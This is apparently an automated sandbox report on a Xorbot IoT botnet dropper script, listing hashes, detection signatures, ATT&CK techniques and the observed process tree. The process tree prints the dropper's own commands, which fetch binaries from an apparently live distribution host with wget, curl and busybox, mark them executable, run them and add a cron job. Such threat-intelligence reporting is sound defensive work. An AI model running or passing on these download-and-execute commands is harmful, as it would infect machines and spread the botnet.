xorbot | 4d5b35e73e3232fda6c684611138b362138c1e55a6d28efeab85191976eef6e9

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
21-02-2025 03:03

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General

Target

bins.sh
Size

10KB
MD5

55f10153bf7837f1b358e78a9f1cbc72
SHA1

53ce0ffad117ff88767edef40ab1942e43a9b356
SHA256

4d5b35e73e3232fda6c684611138b362138c1e55a6d28efeab85191976eef6e9
SHA512

806df1e0034aec45a4b1efee06f39934e46ef14b98712773bd74a4bb981552169b40748cb78efe0d55ba5c7987e750715d964dfeaa5c700fdc0c5629a7538b92
SSDEEP

96:YRJRLu/Yu/Uu/a/p/Z/uUgcAu1K1C1XA2hEaSlPCD9D9DSLDLpip6pLGi5nFnlnT:6ORLJpsHr3lFkz36QkjlFkz39JpsHrS

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot
behavioral1/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1804) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1515	chmod
1523	chmod
1531	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5	1516	bins.sh
/tmp/iwnOQoKO4P0UBdZG6qZhvNsD8Ue5TX1Ha8	1524	bins.sh
/tmp/xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6	1532	bins.sh

Renames itself 1 IoCs

pid	Process
1533	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.iXEalc	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1662/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/471/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/491/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1675/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/19/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/170/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/513/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1062/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1551/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1643/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1654/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1669/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/439/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1091/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1376/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1561/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1578/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1671/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1704/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1717/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1563/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1576/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1596/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1640/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1732/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/80/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/172/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1597/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1707/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1712/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/161/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1500/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1565/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1577/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1581/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1624/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1641/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1735/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/9/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/13/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/85/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/949/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1696/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1738/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/648/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/958/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1101/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1131/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1554/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1567/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1569/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1590/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/2/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/78/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1163/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1589/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1607/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1611/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1628/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1633/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/14/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/21/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1657/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
File opened for reading	/proc/1684/cmdline	xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1528	curl
1512	curl
1520	curl
1522	busybox
1530	busybox
1542	wget
1508	wget
1514	busybox
1519	wget
1527	wget

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6	wget
File opened for modification	/tmp/xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6	curl
File opened for modification	/tmp/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5	wget
File opened for modification	/tmp/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5	curl
File opened for modification	/tmp/iwnOQoKO4P0UBdZG6qZhvNsD8Ue5TX1Ha8	wget
File opened for modification	/tmp/iwnOQoKO4P0UBdZG6qZhvNsD8Ue5TX1Ha8	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:1506
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1507
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1508
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1512
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
  2⤵
  - System Network Configuration Discovery
  PID:1514
- /bin/chmod
  chmod 777 8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
  2⤵
  - File and Directory Permissions Modification
  PID:1515
- /tmp/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
  ./8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
  2⤵
  PID:1516
- /bin/rm
  rm 8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
  2⤵
  PID:1518
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/iwnOQoKO4P0UBdZG6qZhvNsD8Ue5TX1Ha8
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1519
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/iwnOQoKO4P0UBdZG6qZhvNsD8Ue5TX1Ha8
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1520
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/iwnOQoKO4P0UBdZG6qZhvNsD8Ue5TX1Ha8
  2⤵
  - System Network Configuration Discovery
  PID:1522
- /bin/chmod
  chmod 777 iwnOQoKO4P0UBdZG6qZhvNsD8Ue5TX1Ha8
  2⤵
  - File and Directory Permissions Modification
  PID:1523
- /tmp/iwnOQoKO4P0UBdZG6qZhvNsD8Ue5TX1Ha8
  ./iwnOQoKO4P0UBdZG6qZhvNsD8Ue5TX1Ha8
  2⤵
  PID:1524
- /bin/rm
  rm iwnOQoKO4P0UBdZG6qZhvNsD8Ue5TX1Ha8
  2⤵
  PID:1526
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1527
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1528
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
  2⤵
  - System Network Configuration Discovery
  PID:1530
- /bin/chmod
  chmod 777 xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
  2⤵
  - File and Directory Permissions Modification
  PID:1531
- /tmp/xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
  ./xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:1532
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1534
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1535
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1536
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1537
- /bin/rm
  rm xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
  2⤵
  PID:1539
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RRKFlwJYeJb1sj2t1KqIEquQ8VdXMNtkbC
  2⤵
  - System Network Configuration Discovery
  PID:1542

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/iwnOQoKO4P0UBdZG6qZhvNsD8Ue5TX1Ha8

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.iXEalc

Filesize
210B

MD5
8a7373bd1f737b594979957f3c2e8ff9

SHA1
6ecd9019534236d3b3310d2709d020e203f25a93

SHA256
329a9669536a1e406aa1856523a0f68d8beae6049f9609e415094d3946544f67

SHA512
29e6c471a275d4b816f313767acf7b8abf5f6376dcf414f915b0ff89d1e2fed8eb686be516f35f48e377fbe18c7680af3db4e63e585ed6a09bfb123ad4e3fbfd

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads